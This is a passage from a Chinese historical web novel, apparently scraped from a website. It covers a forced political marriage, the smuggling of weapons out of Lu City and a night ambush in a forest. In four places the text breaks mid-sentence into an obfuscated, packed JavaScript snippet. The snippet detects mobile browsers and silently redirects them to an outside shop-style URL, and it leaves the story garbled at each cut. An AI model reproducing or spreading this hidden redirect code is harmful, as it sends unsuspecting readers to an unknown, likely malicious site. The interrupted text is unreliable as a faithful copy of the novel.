为了宴请齐山,府上的下人们早早被朱克吩咐不可随意走动,无人发现西北角的这座小院还亮着灯。 阿青和管家在门外候着,只余朱克和碧落父女二人在屋内秘谈。 “皎儿别怪父亲。”朱克叹了口气,“生在这乱世,没有人能真的随心所欲,爹也想让你在身边多留几年,毕竟从小我便没见过你。” 郑皎,是碧落给这个身份编造的名字,只因病逝的那位郑氏女据说很喜欢一切和月亮有关的东西。 把这个名字告诉朱克后,朱克果然没有怀疑,甚至在听到这个名字时,面上闪过一丝怅然。碧落就知道,这个名字取对了。 但碧落更庆幸的是,朱克没有非要给自己这个女儿改回“朱”姓。 见朱克好似真有悔意般红了眼眶,碧落只想冷笑。 演吧,你演我也演。 碧落垂着头:“父亲别这么说。此生能再见父亲,女儿已再无遗憾。女儿迟早要嫁人的,父亲为我定的这门亲事,我并无不满。成亲以后也定会安分守己,相夫教子,孝敬公婆,不给父亲惹麻烦。” 朱克早听说女儿在城门口遇到齐山手下人的盘查,硬话都没说一句就下车让人查了,且白日里见她与继母与两个继兄的相处也是处处忍让,想来这女儿竟不像她母亲那般骄傲于出身门第,而是个性子柔顺的。 或许是逃难来的路上被乱军吓到了,亦或是被族破家亡磨平了棱角,知道自己在潞城只能依靠他这个父亲。 但女儿若嫁到齐家,代表的便是他这个潞城县令的脸面,可不能是这副任人揉圆搓扁的性子。 朱克沉下脸:“虽然为父让你嫁到齐家,但你依旧是我朱克的女儿,成亲以后,谁若对你不敬,便是对我这个潞城县令不敬。你是县令府的大小姐,不必看任何人的脸色!” 只见女儿似乎被他突然严厉的口气吓到了,又像是感激他能为她撑腰,美目含泪道:“女儿明白了。父亲莫怪,女儿只是…只是太想念父亲了,以为什么地方做得不好,惹得父亲不喜,才这么着急将我嫁出去。” 朱克收了冷脸,又叹气道:“唉!本来不必如此。只是……” 碧落眼神一动,不动声色地追问:“难道是父亲遇到什么难处?需要齐家帮助?如果是这样,女儿甘愿为父亲解忧!” 朱克更满意了,这孩子和她母亲一样聪明,却又不像她的母亲那般傲气,是个既聪明又听话懂事的,这样的女儿让他放心。 “皎儿长大了,为父很是欣慰。”朱克感慨,“若是太平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206225|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年间,为父定帮你在世家大族中好好挑选一个如意郎君,三书六礼,样样都给你最好的。但现在的潞城,表面看上去太平,实则暗流涌动,我们若想站稳脚跟,手中没兵是万万不行的。” 碧落:“那父亲……是要借齐将军兵?” 朱克摇头:“你也说了是借,借来迟早要还回去,能是自己的吗?是以为父从半年前开始,便训练了一批我们自己的兵,只听令于我,唯有如此,我们一家人才能在潞城才算是无后顾之忧。否则,光齐山手下的兵力就足有一千人,其次子领兵三百驻扎在潞城以西一百五十里处的颖城,都不用这父子二人合力,齐山一个人就能将我们困死在潞城。到时候人为刀俎,我为鱼肉,谁来当县令,都不过是齐山手下的傀儡!” 碧落微露惊慌:“那…那父亲既然已经练成了兵,为何…为何还要让女儿……嫁入齐家?” 朱克安抚道:“放心,今日宴上,我已与齐山达成同盟,有我在他们绝不会害你。之所以还要拉拢齐家,只为防备城内的通泰钱庄发难。” 碧落:“这其中有通泰钱庄何事?” 朱克:“为父曾向通泰钱庄借了一笔数额不小的本金用于训兵,通泰钱庄当初承诺只要我能在潞城为他们提供庇护,他们便不收任何利息。可谁知通泰钱庄所谓的庇护,竟然是要为父免除其在潞城内所有应缴的商税!称如果不给他们免除所有税钱,他们便要向朝廷告发我养私兵!” 碧落:“……” 好一张颠倒是非的嘴。 要不是碧落早就清楚朱克此人心肠狠毒,恐怕就要信了这一番鬼话。 通泰钱庄当初借钱给朱克训练私兵,恐怕就是想让朱克庇护其在城中产业免受齐山的威胁。可通泰钱庄还是太天真了,在这个人人都割据造反的非常时期,就像朱克说的那样,只有自己手里有兵,才是最安全的。 到头来,通泰钱庄还是吃了手里没兵的亏。朱克兵已练成,他就是当场把这个本金赖掉,估计通泰钱庄也不敢说个“不”字。 朱克能没想到这点吗? 他当然想到了,可他便像是被手中的兵打通了任督二脉一样,忽然就明白这些兵真正能做些什么。他不但想不还本金了,他还想要更多! 朱克义愤填膺道:“这等鱼肉百姓,欺上媚下的无耻小人,他们的钱难道就干净吗?他们在潞城经营多年,可曾为这满城百姓做过丁点善事?借贷盘剥,质押夺产,他们的每一分钱都沾着百姓的血汗!为父练兵,不仅仅是为了防备齐山,更是为了能在这乱世护下一城百姓。他们却以此要挟,实在是欺人太甚!” 歇了口气,朱克终于露出獠牙:“既然如此,那也别怪我不客气。为父准备将他们的财产取之于民用之于民,收入府库。为免他们反抗,也为了防备齐山背后发难,为父向齐山承诺,抄通泰钱庄所得财货的四成都会分给他,再有一成会算作你的嫁妆,随你一起,进入齐家,以此换得齐山在我对付通泰钱庄时,袖手旁观。” 碧落恍然,这通泰钱庄,可真是被潞城的这两头狼拆得连骨头都不剩。 朱克又道:“所以,你们的婚事,可能会有些仓促。但你放心,爹一定会风风光光地把你嫁出去,也会护你在齐家周全,让所有人都不敢小瞧我朱克的女儿!” 碧落还能说啥呢:“一切但凭父亲安排。” 同一时间,潞城城东,将军府。 和早早熄灯的县令府不同,此时的将军府灯火通明。 正院堂屋里,黄泉像个犟种一样把自己高大的身躯摊在太师椅上,张口便是:“我不同意!我不要成亲!” 5. 大婚之前 今晚事态发展之快,着实出乎黄泉的意料。 本来只打算去听一听齐山和朱克究竟在密谋些什么,结果发现俩人把自己也密谋进去了。 并且自己还是没搞清楚他们在密谋什么! 齐山踢了这倒霉孙子一脚:“你不同意什么?你盯着人家看,眼睛都看直了,我可没看出一点来你不同意。” 黄泉脸一红,争辩道:“这不是一回事!我承认她是长得挺美的,但她美我就非得娶她吗!而且,您不是跟朱克不对付吗?为啥还要我娶她女儿?” 齐山便将朱克与他在席间商议好的事,简单和孙子说了,最后道:“送你们二人一套宅子,另开府出去住,一是我不会贪图朱克女儿那一成的嫁妆,你们夫妻二人好自安过,我愿意和朱克暂结同盟。但防人之心不可无,朱克女儿在齐府,若是趁着回娘家的时候把府内的消息往外送,徒生变故,也不好。” 黄泉听到齐山和朱克二人要瓜分通泰钱庄时,脸色微变,想着明日须得和黑白无常二人见上一面了。待听到齐山已经给他安排好了婚后生活,忽然意识到迫在眉睫的成亲才是更棘手的事。 齐瀚只是一个假身份,他必不会在潞城久待,他离开时会找个理由让齐瀚意外去世,可若齐瀚已经成亲,那这妻子就会成了寡妇,对那位朱小姐而言,是无妄之灾。 而且,圆房怎么办? 一想到这,黄泉更焦虑了。来日他注定要走,若圆房了,就是害了人家姑娘,可那么一个貌美如花的妻子,自己若不圆房,一定会被怀疑不行吧!一定会吧! 齐山看他脸色变来变去,不禁奇道:“你到底是怎么了?不会是觉得朱克的女儿母亲新丧,她不愿和你圆房吧?哎呀!没人会管的!这夫妻房中的事,俩人门一关,谁知道你们干什么了!” 黄泉眼睛一亮,对啊!朱姑娘母亲去世,她要守孝的! 齐山以为傻孙子终于开窍了,继续滔滔不绝道:“你也不用担心朱姑娘不愿意,回头祖父给你拿点小册子,你学学,学点真本事,待到圆房那天好好让你媳妇瞧瞧,她得了趣,自然就愿意” “啊!停!”黄泉大叫一声,赶紧打断齐山,“您都多大年纪了!怎么还这么老不正经!我回头就去告诉祖母!” “臭小子!我揍死你!” …… 次日一早,黄泉照常去南门上值。 齐山给自己孙子安排了一个队正的军职,手底下领了五十人,平时负责南门的守备稽查,巡捕盗匪。 但黄泉常借巡逻之名在四处溜达,见到哪里有新情况就会过去看看,各级官兵都知道他是齐山的孙子,也没人敢拦着。 转到了一个偏僻的暗巷,黄泉身后缀上来两个巡逻士兵穿着的人。 黄泉微微侧头,余光瞥见两人的脸,是黑白和无常二人,正要开口,就被无常抢先道:“怎么样?我们给你安排的那个内应怎么样?你喜欢吗?” 黑白无语。这人到底记不记得正事儿,而且你这问得也太明显了,一个内应,有什么喜不喜欢的? 黄泉果然一头雾水,差点忘了自己要说什么,但既然说到内应,那就是这两个人送上门找骂! “我喜欢你个头啊喜欢!你找的什么人!有这么当内应的吗?先是躲在一旁看我一个人吭哧吭哧解决守卫,最后她倒好,扛着东西就走了,还非得刺儿我几句!哪怕她是煌山堂堂主,也忒嚣张了!”黄泉劈头盖脸把无常骂了一顿,末了又问,“煌山堂的人给咱们分钱了吗?” 无常都被骂懵了,看着黄泉的眼神犹如看话本子里的负心书生:“你怎么能这样呢?那可是我” 黑白一把捂住他的嘴,替他回答:“你别生气,那是我们从煌山堂找来的高手,是有些脾气。这次是我们没跟对方说清楚,让对方误以为你是内应了。” 黄泉奇怪地看了眼一脸怨气的无常,问黑白:“他怎么了?” 黑白:“你别理他,他中邪了。分钱的事别着急,这才刚过两天,你总的等人把东西脱手,煌山堂的人来解释过了,他们并无恶意。” 黄泉看着蠢蠢欲动还想上来和自己理论的无常,狐疑道:“你俩不会有事儿瞒着我吧?” 黑白忙道:“没有没有。今天叫我们出来是什么事?” 三人的对话终于回归正题,黄泉道:“朱克和齐山要联手了,他们要把通泰钱庄一锅端了。” “什么?!”黑白无常皆大惊。 见两人如此反应,黄泉眸光一寒,问道:“怎么了?出什么事了?” 黑白:“就在昨日,周令来信,说他有一批东西存在潞城的通泰钱庄,想托我们帮他把东西运出城。” 这本来是准备给碧落和黄泉的第二个任务,甚至还没来得及和煌山堂的人商量。 “啧!他怎么不早说!”黄泉没忍住暗骂了句。 周令不是别人,他是前朝镇北侯之子,也是他和黑白无常三人的救命恩人。 自大燕覆灭,北蒙人入关,中原大地陷入分崩离析已有四十载。 这期间陆续出过几个想要一统江山的,却都如铁链拴住的野兽,被一场接着一场的战役困死,最终无奈地成为割据一方的诸侯。 直到十三年前,殷太祖皇帝在豫州起兵,先向北蒙称臣纳贡,换取北方的片刻安定,而后以迅雷不及掩耳之势挥兵南下,在六个月内先后攻破中原二十四州,最终在汴城定都建国。 殷太祖是个有雄图伟略的人,可惜老骥伏枥,虽志在千里,却寿数难济,建国五年后便驾崩了,传位给太子,而太子却压不住这如新生猛虎般的殷朝,在位仅三年,便因积劳成疾去世,又传位给如今的皇帝。 而在殷朝之前,盘踞中原的短命王朝——后楚,十三年前便退居岭南,王室亦不知所踪,臣子死的死,降的降。其中周令的父亲,便是后楚的镇北候。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206226|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令的父兄们皆战死沙场,只余他一人,在生死绝境中牢牢护住一家亲族女眷,隐姓埋名活了下来。后镇北候的旧部陆续寻来,奉周令为主,周令便带着族人和旧部们在这乱世中一边自保一边拓展势力,渐渐在东南成了气候。 救下黄泉三人,是在十年前。 十九岁的周令刚将一家老小安顿下来,出城时便见黄泉在城门外正与一帮饥饿的流民抢食。流民虽然瘦骨嶙峋却是已是成年,且人多势众,黄泉虽凶悍狠厉,但仍是少年羸弱的体型,又要护着身后的黑白无常二人,周令赶到时,黄泉已被打得奄奄一息。 看着这小少年的样子,周令不知怎的,就想到了自己。 他出手将三人救下,又将他们带回住处,供他们吃穿用度,还让黄泉随自己一同习武。可黄泉自年幼时便开始流浪,独立而敏感,在周家待了五年,虽然对周令心怀感激,但却始终无法融入周家的一众旧部里。 周令也没有强求,只给了他一笔钱财,让他带着黑白无常二人自去闯荡了。 没想到,这一闯荡就闯荡出了个纵横乱世的幽夜司。 周令很惊喜,却并未以恩情相胁,让黄泉带着幽夜司听令于自己。他深知,黄泉若是个能驯服的,入周家五年时间早就被驯服了。如今一朝放龙归海,便再无拿住他的可能。 但儿时的情分却还是在的,若只是送信运货等小事,黄泉也愿意还周令的人情。 “这批东西是什么?有多少?”黄泉问。 黑白沉默一瞬,道:“他们没明说,但我感觉,应当是武器和盔甲。” 黄泉的眉头皱得更紧了。 周令从未将自己的谋划告诉过黄泉,黄泉也从不打听,是以黄泉也没想到,周令居然存了这大一批见不得光的货在通泰钱庄,还恰好就在潞城! 这通泰钱庄敢存周令的武器盔甲,也是个在乱世里四处押宝的,可惜,押的宝没一个能救他们一命。 朱克和齐山肯定不知道这事,他们应该只以为通泰钱庄里只有财帛货物,若他们知道钱庄的库房里居然有武器盔甲,那通泰钱庄早被他们抄了,根本不必再找什么冠冕堂皇的借口。 可只要他们扣下通泰钱庄的库房,稍一清点,这么大一批盔甲兵器必然会暴露!而若想以钱庄一成的财货为朱克女儿的嫁妆,抄没通泰钱庄,收拢清点库房这事,一定会在他和朱姑娘两人大婚之前完成! 黄泉迅速有了决断:“你们立刻给周令回信,让他说清楚这匹货的具体情况,并迅速派人来潞城外接应,必须要赶在我大婚之前,把这匹东西运出城去!” 前面听着都很正常,黑白无常二人听得连连点头,直到最后一句,好像混入了什么不得了的东西。 愣了半响,无常突然大叫起来:“什么——!?你要大婚?!和谁大婚?!” “黄泉你给我说清楚!不!不对!” “这门亲事我不同意——! 6. 婚前任务 无常一直非常期待碧落和黄泉的第一次会面成果,毕竟,第一印象无论再什么样的关系里都是至关重要的。 虽然昨日从煌山堂那里听说他们二人对于谁是内应这件事有些误会,但这种小事,又怎么会影响两个人之间的关系突飞猛进地发展呢? 至少在无常的幻想中是这样的。 可他刚刚听到了什么! 黄泉要大婚!? “你要和谁大婚?你给我说清楚!”无常抓着黄泉的领子问,难为他比黄泉矮了半头,还做这么高难度的动作。 黄泉觉得无常今日特别得喜怒无常,大抵是疯了,伸手去推他的脸,想让这疯子离自己远点。 黑白见状赶紧将两人拉开,护着无常,问黄泉道:“怎么回事?你赶紧跟我们说清楚,我们还什么都不知道。” 黄泉便将朱克与齐山的谋算说与两人听,最后得出一个结论: 必须和朱县令的女儿成亲,否则齐山已经知道的朱克的打算,两人若不能结盟,立刻便要撕破脸,通泰钱庄的东西马上就会被抢夺一空,到时候别说铠甲武器了,一根针都运不出来。 听完以后,无常内心绝望。 完了。全完了。这全错了啊! 这发展已经不叫突飞猛进了,已经是猪突猛进得失控了! 无常觉得自己必须要把黄泉拉回来,他凭什么和别人结婚?凭什么不和自己给他安排的相亲对象结婚! “你不觉得这样对你,对朱县令的女儿,都非常草率吗?”无常试图站在道德的角度拷问他。 黄泉:“我不会动她一根指头,婚后我会以守孝的名义和她分房睡。或许她也不愿意和我成亲,但决定这事的很明显是朱克,她改变不了任何事情。” 无常:“可是!你成亲了,你就” 你就不干净了啊!我还怎么把你介绍给碧落?煌山堂的人肯定不愿意啊! 黑白不得不出来维持局面:“好了好了,这只是权宜之计,并非我们算计人家朱县令的女儿。解释清楚就好了。” 接着用眼神示意无常不要再说了,再说就暴露了。 黄泉最后一锤定音道:“立刻去联系周令,跟他说,最迟三日后,必须把那匹货运出去,定了计划以后,再联系我。” 说完,快步离开了。 而另一头,阿青在昨晚听说了自家殿下要成亲的消息后,也崩溃了许久。直到今早起床,为碧落安排洗漱时,还一直失魂落魄着。 碧落看得好笑,问道:“怎么打击这么大?看着跟你要被迫成亲一样?” 阿青哀怨道:“若我能替小姐去,就好了,我也不会这么提心吊胆的。” 碧落:“昨晚不是说了吗,没关系的,齐瀚一个傻不拉叽的纨绔,能翻了天去不成?我不会受委屈的。再说,对付他一个傻子,总比对付这府上上蹿下跳的三个蠢货要轻松得多吧。” 阿青知道碧落说的是朱夫人和她那两个儿子,可她就是觉得! “我就是觉得,您千金之躯,怎么能和这样不三不四的人成亲呢!”阿青替自家殿下觉得委屈。 碧落没忍住笑出了声:“好啦,没事的。如果实在不行,咱们也不是非要留在潞城,我预计着周令应当还得再等一段时间动手,我们可以先去别的地方干两票,再回潞城来。” 阿青一呆,这样显然也是不行的,毕竟按照荣夫人的相亲日程,殿下还是留在潞城要更方便一些。 “不,您现在这个身份,放弃不用,太可惜了。” 见她明白,碧落一笑,没再管了。 翌日,阿青忽然收到荣夫人送来的急信。 第二个任务来得比想象中快得多,还是幽夜司主动找的他们。 “你说幽夜司的人让我们帮忙送一批货出去?就在明日丑时?”碧落听着这次的任务信息,眉头锁紧。 昨日傍晚,周令也在城内一处茶寮外用秘讯给她留了信息,大意也是希望她能帮他从潞城运一批东西出去,邀她去城内的一家酒肆详谈。 但自己并不想和周令有过深的联系,只当这又是他一次无关紧要的试探,是以并未理会。 而今日,幽夜司的人居然也要送一批货出去,怎么会这么巧? 难道周令没联系上自己,就把这件事委托给了幽夜司? 阿青并不知道碧落和周令暗中有过联系,只当这是一次寻常任务,补充道:“幽夜司的人说,他们已经安排好了货物的出城事宜,只是在潞城的人手不足,怕运出城后有意外发生,所以请我们在一旁掠阵,保证这批货能顺利送到城外的目的地。” 碧落:“他们有透露这批货是什么吗?” 阿青:“没有,他们……应当知道,只和我们直言不方便透露。” 碧落倒并不计较这些,任务信息通常都是单线传递,这次的任务更像是幽夜司的私活儿来找他们帮忙,自己只是帮忙掠阵,的确不需要知道太多。 只是,这么神神秘秘,遮遮藏藏,让她更加确定,幽夜司要运出去的这批货,和周令让她帮忙运出城的货,应当是同一批。 周令到底要运什么东西? “行,和他们说,我会去的。”碧落痛快道。 阿青却没有立刻离开,偷瞄着自家殿下,支支吾吾,欲言又止。 碧落怪道:“怎么了?还有什么事?” 阿青硬着头皮道:“也,也没什么,就是……幽夜司的人说,这次任务您是名义上的内应,让您别……”阿青的声音越来越小,说不下去了。 碧落一愣,继而被气笑了,脑海中又浮现出上次任务时碰见的那个身手不错,脑子不好的憨货。 想来,这次任务还是和这憨货一起,而这憨货知道这次掠阵的和上次盗宝是同一个人,所以让幽夜司特地、提前将内应的名分安在她头上。 碧落冷笑道:“行,我是内应,很好。” 夜空闷闷,浓云蔽月,是一个伸手不见五指的夜晚。 潞城城东的城门外,已经聚集了许多等待进城的商人、镖队、菜农、渔民,只因潞城东门会比另外三个方向的城门早开半个时辰。潞城东面临海,在没有海寇肆虐的时候,东门相较于另外三个城门外是最安全的。 新鲜的蔬菜海货,着急入城的商队都会选择从东门早早入城。且今日天气不佳,乌云盖顶,指不定什么时候就下起来了,所有人都在城门外焦急等待。 在众人的望眼欲穿中,东城门终于开了。 等候的人一窝蜂涌上去,都想尽快查验入城。此时,却有一批车队逆着人流从城里出来。 “诶!那群人!停下,去哪儿的?”一个在城门外查验入城的士兵朝车队喊道。 车队的人不慌不忙地朝他挥挥手,另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206227|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个在城门里的士兵朝城外喊道:“查过了,放行!” 城外的士兵便不再阻拦,放车队离开。 进城的人实在太多了,这是守东门的士兵一天中最忙的时候,是以他们谁都没注意,这匹车队的车轮在地上留下了很深的车辙。 黄泉扮做车夫模样,随车队离开,前往与周令事先约定好的接头地点。 在火把闪动的光影中,只能依稀辨别出他脸部棱角分明的轮廓,一双眼睛如闪烁的寒星,沉沉地盯着前方。 周令的动作很快,尤其是在他知道朱克和齐山要对通泰钱庄动手以后。 这么大一批货,要顺利运出来并非易事。好在周令的布置很充分,城内安插的探子已提前将货都找了出来,黄泉只需要帮他们运出去,再护送至事先约定好的接头地点。 他们接头的地方是城南五里处的一片茂密的树林。时值盛夏,夜间却连一丝风也无,空气潮湿而闷热。 黄泉就这么押着车队往前走,目光不停四处打量。 那个内应在哪儿呢? 又迟到! 虽说此次只是让她掠阵吧,可掠阵的就能不出现了吗?不出现怎么知道她来没来呢? 就这么一路在心里骂骂咧咧,车队抵达城南树林。 这次,周令居然亲自来了。 见周令出现,黄泉神情一凛。 周令年龄未及而立,但身上却有一种久经风霜的威严。他一身暗青色的圆领袍,长身而立,身量和黄泉一样高,幞头下的双眉如卧弓一般,遒劲内敛,双目如深潭,却又像盛了两潭满月那般明亮,在这暗夜里露出少见的温和笑意。 黄泉的目光并不友善,周令却像对待幼弟一般随意,笑道:“怎么那么严肃?不想见到我?” “你怎么留胡子了?”黄泉没答话,没头没脑地问道。 周令一怔,似是没料到他会问这个,回想起两人确实有一年多没见了,道:“怎么?不好看吗?” 他刚开始蓄须没多久,却打理得很干净,从腮边一路收拢至颔尖,恰到好处地勾勒出利落的下颌轮廓。侧过脸时,火光从他耳后漫过来,颊边的青影非但不显粗犷,反倒像水墨画里那一抹克制却潇洒的皴笔。 当然是好看的,衬得他英俊又有威仪。 “快把你的东西拿走,我要回城了。”黄泉再也不看他,转头便要走。 周令被他逗笑了:“一年没见了,阿泉都不想我吗?怎么刚见面便要走。” 这么说着,他背在身后的手一挥,立刻便有人上前,将那一车车武器盔甲陆续往树林深处押去。 车队便从两人身边陆续经过,火把一个接着一个过去,映得两人的脸忽明忽暗。 黄泉停步,转过身看他,周令的目光不躲不闪,依旧像是当年那个带他习武的兄长。 良久,黄泉的脸色才放松了一点,正欲开口,耳尖忽的一动,身子还没转过去,手中的刀已先一步飒然出鞘! 从暗处扑来袭击车队车夫的敌人被黄泉一刀震了出去,摔在后面一辆车的箱子上。 那恰好是个装刀剑的箱子,箱子晃动,里面的兵器相撞发出清晰的脆响声。 周令的反应亦不慢,他没有的大喊,只做了个手势,事先埋伏的自己人便兔起鹘落地从林中闪了出来。 两波人便在这闷湿逼仄的密林中,短兵相接! 7. 不打不成婚 “轰隆隆……” 不远处的海上,闷雷炸响,混杂着树林中刀剑相撞的声音,搅乱了原本静谧的夜。 周令这次带来的人不少,可敌人来得却比预想得要多得多。 黄泉的刀快得只剩下残影,除却开始那一势,力沉如开山,他的刀法更偏向轻盈诡谲一路。他护在车队中央,前后左右都顾得上,一人独战数人,竟丝毫不落下风。 周令的功夫是自小随父兄们学的,更偏向军中路数,一招一式,稳扎稳打,少了一丝技巧,却多了一分悍勇。他一边配合着黄泉搦战,一边指挥人将这批货尽快运走。敌人冲上来就抢箱子,很明显是冲着这些货来的。 货物笨重,在林中行进本就不易,又遇半路截杀,一时半会愣是没走多远。 敌人见黄泉招式太过凶残,不禁纷纷绕道,从车队两段杀上去,想将他们打散,再逐个击破。 见状,黄泉朝周令道:“别管这边了,你赶紧带着货走,剩下的交给我!” 说罢,往车队尾端密林外杀去。 周令也不犹豫,一刀砍翻了冲向车队的敌人,吹了声哨,他带来的人便逐渐弃了战斗,转而护送车队尽快离开。 黄泉这边的压力陡增。 敌人见拦不住车队,转而将矛头对准这个杀了他们许多人的这个强手,欲合力将此人的命留下。 敌人前赴后继地涌上来,渐对黄泉呈合围之势。 天空中划过一道明亮地闪电,将四周照亮如白昼。黄泉借着这转瞬即逝的明亮,看清了周围的形势,敌人密密麻麻,至少围了两圈。还有一人正站在远处,似是这群人的指挥。 电光如一闪而逝的游龙,待四周再次暗下去时,敌人如豺狼一般涌了上来。 黄泉的脚动了起来,他深知,不能被困住,一旦被这圈敌人困在原地,等待他的,只有死路一条。 他纵跃时如灵猴般敏捷,飞身一脚蹬在敌人胸口时,却直接将人踹飞出去,连带着撞开后面那人,将包围撕开了一个缺口。 黄泉风一样地杀了出去,刀光一闪,又收割了两人性命,但闪躲不及,肩头被人划了一道,血涌了出来。 他在心中破口大骂。 煌山堂的那个内应!死哪儿去了!到底来没来?!肯定是没来吧! 下一秒,更刺眼的闪电从云层后钻了出来,在夜空中交织成网,闪得众人眼前一白。 黄泉只瞥见有一个黑影,以极快的速度朝自己这边冲过来,远处那指挥原本站的地方却没了人影。 他心中一寒,提刀便要硬上去和那黑影对招,不料眼前剑光游曳,敌人却像被抽了骨头似的,一个接一个倒了下去。 来的不是敌人? 同时一道清亮的声音响彻夜空:“贼首人头在此!还不速速伏诛!” 宛如老天都在迎贺她的出场,又是一道横贯夜空的闪电蜿蜒劈下,黑夜再次亮起。 众人皆大惊,往声音来处望去。 只见一蒙面人一手拎着他们首领的头,一手提着剑,雪亮的剑尖正不住往下滴血。 他们首领遮掩面容的黑布已不知去了那里,也让他们更加清晰地认清了,那死状凄惨的头就是他们首领的。 “轰隆隆——!轰隆隆——!” 配合默契的闷雷接二连三地炸响,让眼前的这一幕像极了不可质疑的天罚。 敌人终于慌了,开始且战且退,比来时更快地退走了。 待敌人尽退,黄泉也认出了来人,依旧咬牙切齿道:“你又迟到了!” 末了又从牙缝里挤出来两个字:“内、应!” 见他受伤狼狈却还要叫自己一声“内应”的模样,碧落心情好得很,笑道:“不迟,刚好救你狗命。” 黄泉被气得肩头的伤都好像又疼了几分,嘴硬道:“谁要你救了?自以为是得过头了你。” 碧落一点儿也不生气:“难道你刚刚没有在心里想,为什么我还没来吗?” 黄泉一噎,显然被说中了心思,说不过,生气的只有自己。他只能憋屈地低头转移话题道:“这头谁的?” 碧落毫不在意地把头拎起来,扫了眼,正欲开口,就被人打断。 “义华?”周令不知何时又折返回来,惊讶地看着碧落,似是完全没料到她会来。 碧落一听见这个名字,脸立刻沉了下去,刚刚还溢满双眸的笑意,犹如被乌云严严实实盖住的月光,消失得干干净净。 周令全然不管碧落的脸色,只快步走上前,想要靠近了看看她,却豁然被一颗血淋淋的人头挡住了去路。 “认识吧?朝廷的人盯上你了,你知道吗?”碧落冷声问道。 周令微微蹙眉,将人头接过来,丢开,道:“别拿这些,脏。” 黄泉觉得此时他不应该在这里,他应该在地底。 碧落不想和周令说话,只拿眼神示意黄泉,让他任务结束了赶紧回去,两人一起走。 黄泉以为她那眼神是让自己赶紧滚蛋,气登时不打一处来:“要走你走,我不走!” 周令忙道:“都别走,阿泉,你也等下,把伤口处理一下。”说完,又转向碧落,“义——” “够了。”碧落打断他,那冷漠不是装的,她转身立刻就要离开。 周令忙追上去,想要拉住她的胳膊,却被碧落敏捷躲开了。 黄泉看得奇了。 他从未见过周令如此低微过,无论在何种情形下,周令永远是一副游刃有余的姿态。 周令站在原地,没有继续追,看着碧落离开的背影,扬声道:“多谢你来救我!” 碧落头也不回道:“你哪只眼睛看见我救的是你。” 说罢,足尖一点,运起轻功,身影彻底消失在夜色里。 周令的目光很久之后才收回来,魂好像也一起跟着她走了。 一转头,又对上黄泉探究又揶揄的视线,不用开口都知道他想问什么。 周令解释道:“刚刚那是我的一位故人。” 故人? 呵,那明明是我的内应! 但见这两人见面时都是一副没有料到彼此会出现的模样,黄泉直觉还是不告诉周令,这位故人是他找来掠阵的煌山堂的人。 他可不觉得这个内应是来救周克的,内应出现的时候周克跑得影都没了,哪还需要救。 说到这儿…… 黄泉:“怎么,故人走了,你也不请我回去包扎伤口了,合着你适才也只是想邀请你的故人,我只是顺带。” 周令失笑,又听黄泉接着道:“今日你在林间埋伏了这么多人,究竟是怎么回事,你最好给我解释清楚。” 黄泉的眸光越说越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206228|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,越过周令,朝车队离开的地方走去。 周令抿了抿唇,没说什么,使了个眼色,让跟来的手下将这四周又清查一遍,才去追上黄泉。 所有人都走了,只剩下一地的尸体。 等了半响,忽有一人从密林深处探出脑袋,谨慎地环顾周围,见满地尸体,再无一人动弹,那人便急急地出了林子,走了。 他走后,林间却再无法恢复平静,树欲动而风不止,风雨欲来,树叶被吹打得啪啪作响。 暴雨,很快就要来了。 周令的车队来临时避到了一所破庙里,豆大的雨滴开始往下砸,手下抓紧用油布将所有的箱子盖好,刚一躲进殿内,瓢泼大雨便“哗——”的一下泼了下来。 此时若黑白无常在此,定能认出,这破庙就是他们和煌山堂碰头的停马寺。 雨水激发的土腥气,从窗外飘进来,豆大的烛火在殿中闪烁,密集的雨声盖住殿中众人窸窣起伏的交谈声。 黄泉和周令对坐在一张小几前,几案上放着一个小瓷瓶。 黄泉解开短褐,露出半边精壮的胸膛,一只手拿着瓷瓶往伤口上撒,周令要帮忙,被黄泉一手挡开了,头也不抬地问道:“你还没回答我,你林中埋伏的那些人,是怎么回事?” 